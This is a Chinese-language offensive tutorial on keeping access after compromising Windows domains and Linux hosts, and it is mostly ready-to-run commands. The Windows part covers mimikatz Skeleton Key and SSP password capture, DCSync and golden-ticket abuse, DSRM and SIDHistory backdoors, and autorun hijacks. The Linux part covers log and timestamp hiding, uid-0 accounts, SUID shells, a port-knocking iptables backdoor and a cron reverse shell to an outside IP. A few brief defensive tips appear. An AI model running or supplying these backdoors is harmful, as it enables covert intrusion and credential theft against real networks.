需要拿到域控权限
当拿到域控权限后,使用mimikatz可以注入Skeleon Key,将 Skeleton Key 注入域控制器的 lsass.exe 进程,这样会在域内的所有账号中添加一个 Skeleton Key,而这个key是自己设定的所以可以随时共享访问。
PS:由于注入到lsass.exe进程中,所以每次关机后就不存在了,但一般在真正的域环境中,域控在很长一段时间内是不会重启的,因此可以作为权限维持的一种方式。
1、在域控机器上输入命令将 Skeleton Key 注入域控制器的 lsass.exe 进程:
mimikatz.exe "privilege::debug" "misc::skeleton" exit
这个时候系统提示 Skeleton Key 已经注入成功,此时会在域内的所有账号中添加一个 Skeleton Key,其密码默认为:“mimikatz”。
2、建立与域控机器的ipc通道
net use \\win2012\ipc$ "mimikatz" /user:administrator
Hook PasswordChangeNotify 的作用是当用户修改密码后在系统中进行同步。
攻击者可以利用该功能获取用户修改密码时输入的密码明文。
在修改密码时,用户输入新密码后,LSA 会调用 PasswordFileter 来检查该密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify,在系统中同步密码。这个过程中会有明文形式的密码进行传输,只需要改变PasswordChangeNotify的执行流,获取到传入的参数,也就能够获取到明文密码。
1、使用vs生成 HookPasswordChange.dll,路径可自己修改。
下载地址:https://github.com/clymb3r/Misc-Windows-Hacking
这里修改的是C:\windows\SYSVOL\domain\Policies
,也就是域内共享的路径,域成员可以使用普通用户权限读取该路径中的内容,因此写在这里当域控修改密码后,只要有一台普通域用户权限即可在该路径中查看修改后的密码
重新生成后会在该路径下生成dll文件
2、将Invoke-ReflectivePEInjection.ps1 脚本将 HookPasswordChange.dll 注入内存
powershell -exec bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
3、手动修改域控密码
4、之后用普通用户权限既可以查看
dir \\win2012\SYSVOL\sentiment.com\Policies type \\win2012\SYSVOL\sentiment.com\Policies\windows.log
使用 Hook PasswordChangeNotify 方法不需要重启系统、不会在系统磁盘中留下 DLL 文件、不需要修改注册表。如果 PasswordChangeNotify 被攻击者利用,网络管理员是很难检测到的。
防御措施就是:对 Powershell 进行严格的监视。
SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSP可以理解为一个用于身份验证的 dll,当目标系统在启动时SSP会被加载到Isass.exe进程中,而lsa可被扩展,所以目标机器在系统启动时可以加载一个我们自定义的dll文件,若我们定义一个恶意的DLL文件,在目标系统启动时自动加载到 lsass.exe进程中,那么攻击者就能够获取lsass.exe进程中的明文密码,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。
目标无需重启系统,只要有用户登陆到此系统,那么就立即开始密码记录(但重启后就失效了).
mimikatz "privilege::debug" "misc::memssp" exit
执行后,若用户注销或者有其他用户登录到此系统,即可在windows\system32
下生成mimilsa.log文件,其中就包含了登录的密码
1、将mimilib.dll文件传到域控的windows\system32
下
2、用powershell修改一下注册表Security Packages的值,追加下刚刚的mimilib.dll:
powershell reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
此时就在注册表中添加了mimilib数据
3、重启系统,一旦有用户登陆到当前系统,就会在c:\windows\system32\目录下生成一个记录登陆账号密码的kiwissp.log文件
在域环境中,不同域控制器之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges
请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。
DCSync 是mimikatz在2015年添加的一个功能,利用的这个原理,可以通过 Directory Replication Service(DRS)服务的 GetNCChanges 接口向域控发起数据同步请求。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据
当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。
在域内用户所具有的权限其实最根本是看用户的DACL,那么对于DCSync攻击来说,只要域用户拥有以下三条DACL即可向域控发出数据同步请求,从而dump出域内用户hash,这三条DACL分别为:
以下用户默认拥有该权限:
默认用域控可以用dcsync直接导出域内所有域用户的hash
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:sentiment.com /all /csv" exit #可以导出指定用户hash mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:sentiment.com /user:administrator" exit
但普通域用户则没有该权限
1、此时就可以通过域控域普通用户添加上述三条DACL,即可向域控发出数据同步请求
可以使用powerview中的Add-DomainObjectAcl函数写入DCSync权限
powershell -exec bypass import-module .\PowerView.ps1 Add-DomainObjectAcl -TargetIdentity "DC=sentiment,DC=com" -PrincipalIdentity admin -Rights DCSync -Verbose #删除DCSync权限 Remove-DomainObjectAcl -TargetIdentity "DC=sentiment,DC=com" -PrincipalIdentity admin -Rights DCSync -Verbose
2、此时在普通用户上执行mimikatz的dcsync便可导出域内所有用户的hash
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:sentiment.com /all /csv" exit
知道域控的hash后,就可以直接用secretsdump
拿到域控的ntds
python secretsdump.py -hashes :3008c87294511142799dca1191e69a0f sentiment.com/[email protected]
在前边的信息收集中都收集到了如下数据:
/domain:sentiment.com
# Object Security Id 去掉最后的uid
/sid:S-1-5-21-3309884803-1761721320-3729358562
/aes256_hmac:7a2261d768176bd3152d162f4eec34b342b4f0791bf98803c6c7d7258d10045a
1、生成黄金票据
mimikatz.exe "kerberos::golden /domain:sentiment.com /sid:S-1-5-21-3309884803-1761721320-3729358562 /aes256:7a2261d768176bd3152d162f4eec34b342b4f0791bf98803c6c7d7258d10045a /user:Administrator /ticket:goldadmin.kirbi"
2、导入域普通用户
kerberos::purge kerberos::ptt goldadmin.kirbi
成功访问到域控机器
3、此时由于是伪造的域控票据,所以可以直接通过dcsync获取域内hash
知道hash可以直接票据传递拿到域控权限
python wmiexec.py -hashes :3008c87294511142799dca1191e69a0f sentiment.com/[email protected]
目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。
除了krbtgt服务帐号外,域控上还有个可利用的账户:目录服务还原模式(DSRM)账户,这个密码是在DC安装的时候设置的,所以一般不会被修改。但是微软对DSRM帐号进行了限制,只允许在控制台登录。但通过修改注册表就可以实现网络验证并登录到DC。这样DSRM账户就可以看做一个本地管理员帐号。可以通过导出的HASH结合PTH方式,持续控制DC,即使域内用户密码都进行了修改也可以利用。
1、先获取krbtgt的NTLM Hash
privilege::debug
lsadump::lsa /patch /name:krbtgt
#968f7362eca2705a4a9ff58e54680186
2、再读取SAM文件中本地管理员(DSRM)的NTLM Hash
token::elevate
lsadump::sam
#209c6174da490caeb422f3fa5a7ae634
3、将DSRM账号和krbtgt的NTLM Hash同步(为DSRM设置新密码)
NTDSUTIL #打开ntdsutil set DSRM password #修改DSRM的密码 sync from domain account 域用户名字 #使DSRM的密码和指定域用户的密码同步 q(第1次) #退出DSRM密码设置模式 q(第2次) #退出ntdsutil
4、此时查看DSRM的NTLM Hash发现与krbtgt的已经同步了
privilege::debug token::elevate lsadump::sam
5、修改DSRM的登录方式
DSRM有三种登录方式,具体如下:
在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。
powershell -exec bypass
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
6、使用DSRM账号通过网络远程登录域控制器
privilege::Debug sekurlsa::pth /domain:win2012 /user:administrator /ntlm:3008c87294511142799dca1191e69a0f
上述方式需要执行privilege::Debug
,因此对权限有一定要求,因此可以在hash同步时,选择一个域管理员的ntmlhash进行同步,这样就可以用wmiexec进行pth了。
1、定期检查注册表中用于控制DSRM登录方式的键值 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该键值为1,或者删除该键值
2、定期修改域中所有域控制器的DSRM账号
3、定期检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中
SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候因为sid的改变有可能会变成普通用户权限,这时候如果给zhangsan用户添加一个值为zhangsan在A域中的SID的SIDHistory值就可以解决这个问题,只有域管有更改SIDHistory的权利。
1、使用域控查看 test 用户的 SID History 属性
powershell -exec bypass
Import-Module ActiveDirectory
Get-ADUser test -Properties sidhistory
2、用mimikatz将Administrator 的 SID 添加到恶意用户 test 的 SID History中
privilege::debug
sid::patch
sid::add /sam:test /new:administrator
# 清除恶意用户的 SID History 属性可用:
sid::clear /sam:test
3、此时查看 tester 用户的 SID History 属性
Get-ADUser test -Properties sidhistory
4、此时test用户便可直接访问域控
创建名为test的计划任务,每隔一分钟运行一次,任务执行时指定执行的程序为calc.exe
schtasks /create /sc minute /mo 1 /tn test /tr C:\WINDOWS\system32\calc.exe /ru system
还可以设置为:
#开机运行无需登录,所以不管哪个用户登陆后都会成功上线 schtasks /create /tn test /tr C:\WINDOWS\system32\calc.exe /sc onstart /ru system #登录运行 schtasks /create /tn test /tr C:\WINDOWS\system32\calc.exe /sc onlogon
其他命令
#查看计划任务 schtasks /query | findstr test #删除计划任务 schtasks /delete /tn test /f #结束计划任务 schtasks /end /tn test #运行计划任务 schtasks /run /tn test
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将 exe 文件注册为服务,也可以将 dll 文件注册为服务。因为是服务所以同样适用于所有用户。
#创建名为test的服务(注意等号后面有空格),设置自启动,启动权限为system sc create test binpath= C:\Users\Administrator\Desktop\shell.exe start= auto obj= Localsystem #启动服务 net start test #查询服务 sc query test #删除服务 sc delete test
可以在服务表中看到该服务的信息
服务运行的exe如何不符合规范则会停止运行服务,所以要做好进程迁移
windows提供了专门的开机自启动注册表。在每次开机完成后,计算机会自动遍历自启动注册表下的键值,获取键值中的程序路径,并创建进程启动程序。所以,要想修改注册表实现开机自启动,就需要在这个注册表键值下写入我们想要启动的程序的所在路径。
注册表路径:
HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
添加一个test自启动任务,执行shell命令
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe" #或 REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"
PS:哪个账户设置的注册表就需要用哪个账户登录,才会实现开机自启
“映像劫持”,也被称为 “IFEO”(Image File Execution Options)。可以通过修改注册表中“Debugger“项值,替换执行的程序。
当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序
其注册表路径为:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
1、在注册表路径下创建一个项,项名为要劫持的exe名称,可以为任意一个可以运行的exe程序,包括安装后和未安装的exe。并在该项创建一个Debugger的键值(名字只能为Debugger),键值填运行的恶意exe。
随便找了个lcx.exe程序进行劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lcx.exe" /v Debugger /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"
启动lcx.exe后,成功上线
上述方法会对使用的exe进行劫持,导致打不开对方想打开的程序,很容易被发现,所以可以尝试扩展一下劫持方法
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v GlobalFlag /t REG_DWORD /d 512 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v ReportingMode /t REG_DWORD /d 1 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe
当关闭calc.exe后,就会执行shell.exe,这样既不影响程序本身功能,又能成功执行恶意程序
上述方法在注册表中又添加了ReportingMode和MonitorProcess 这两个值:
MonitorProcess的值表示监视器进程
Reporting Mode可以设置为三个值 :
Flag | Value | 解释 |
---|---|---|
LAUNCH_MONITORPROCESS | 0x1 | 检测到进程静默退出时,将会启动监视器进程 |
LOCAL_DUMP | 0x2 | 检测到进程静默退出时,将会为受监视的进程创建转储文件 |
NOTIFICATION | 0x4 | 检查到进程静默退出时,将会弹出一个通知 |
这里设置的值是1,所以当检测到calc.exe进程静默退出时,将会启动监视器进程,而监视进程又设置的是shell.exe,所以就会成功上线
Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表路径:HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"
当用户登录时就会执行
攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之不易被管理员发现。
linux中通过history命令,可以查看本机执行过的命令,如果我们想关闭历史记录则需要使用:
#禁用历史记录功能(符号"+“和”-"的作用分别是打开和关闭指定的模式) set +o history #重新开启历史记录功能 set -o history #删除具体的某个记录 history -d 数组
可以看到当执行 set +o history后,之后执行的命令便不会出现在历史记录中,但需要注意的是,set前边有一个空格
,在history中,如果命令前加上了space
则不会记录在历史记录中,所以当使用set设置时需要加上空格,这样便不会出现在历史记录中
有的时候管理者会根据文件修改时间来判断文件是否为后门,如参考index.html的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题
所以可以使用如下命令,将shell.php与index.html的创建时间保持一致
touch -r index.html shell.php
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。
还可以用stat命令查看文件时间戳
chattr +i shell.php # 锁定文件 rm -rf shell.php # 提示禁止删除 lsattr shell.php # 属性查看 chattr -i shell.php # 解除锁定 rm -rf shell.php # 彻底删除文件
可以创建隐藏文件或文件夹,但可以被ls -a看到
touch .shell.php
mkdir .test
当我们用ssh进行登录时,就会记录,信息包括登录的账号,远程登录的主机,登录时间
ssh加上-T参数,可以进行隐藏登录记录,不被w、who、last等指令检测到
ssh -T -i id_rsa [email protected] /bin/bash -i
此时即看不到用户登录信息
端口复用是指不同的应用程序使用相同端口进行通讯。我们可以通过端口复用来达到隐藏端口的目的。其他作用还有很多,如内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。
将ubuntu的22端口映射到本地80端口
# 创建端口复用链 iptables -t nat -N LETMEIN # 创建端口复用规则,将流量转发至 22 端口 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 #开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到加为 letmein 的列表中 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT #关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein 的列表中移除 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
在攻击机上执行
echo threathuntercoming | socat - tcp:192.168.199.155:80 ssh -p 80 [email protected] -T /bin/bash -i echo threathunterleaving | socat - tcp:192.168.199.155:80
/etc/passwd 各部分含义: 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL /etc/shadow 各部分含义: 用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
增加超级用户:
perl -le 'print crypt("sentiment","salt")' saXxnGh/ae5PM #linux中超级管理员root的uid为0,这里我们再添加一个uid为0的账号 echo "test1:saXxnGh/ae5PM:0:0:/root:/bin/bash" >> /etc/passwd
也可以用useradd进行添加
useradd -p `openssl passwd -1 -salt 'salt' sentiment` test2 -o -u 0 -g root -G root -s /bin/bash -d /home/test2
suid除了用于linux提权外,其实也是一个不错的权限维持方式,我们可以通过创建suid权限文件得到root权限,执行我们想执行的shell命令
# 创建suid权限的文件 sudo cp /bin/bash /tmp/.woot # 赋权 sudo chmod 4755 /tmp/.woot #通过suid文件获取shell /tmp/.woot -p # 若bash2 针对 suid 有一些护卫的措施,可以使用-p参数来获取一个root shell
1、生成ssh秘钥对
ssh-keygen -t rsa
保存路径输入 ./id_rsa
2、将id_rsa.pub公钥上传到服务中
3、 将公钥写入到authorized_keys文件中
mkdir /root/.ssh && touch /root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/
4、配置允许使用秘钥登录
vim /etc/ssh/sshd_config RSAAuthentication yes PubkeyAuthentication yes
5、用ssh秘钥远程登录
crontab计时反弹shell也是一种权限维持方式。
1、先写个反弹shell文件,shell.sh
bash -i >& /dev/tcp/192.168.199.175/4000 0>&1 bash -c "bash -i >& /dev/tcp/192.168.199.175/4000 0>&1" #赋予执行权限 chmod +x /tmp/shell.sh
2、添加计划任务
vim /etc/crontab
#每一分钟执行一次
*/1 * * * * root /etc/.evil.sh
3、重启cron
除此之外很有很多,就不一一列举了: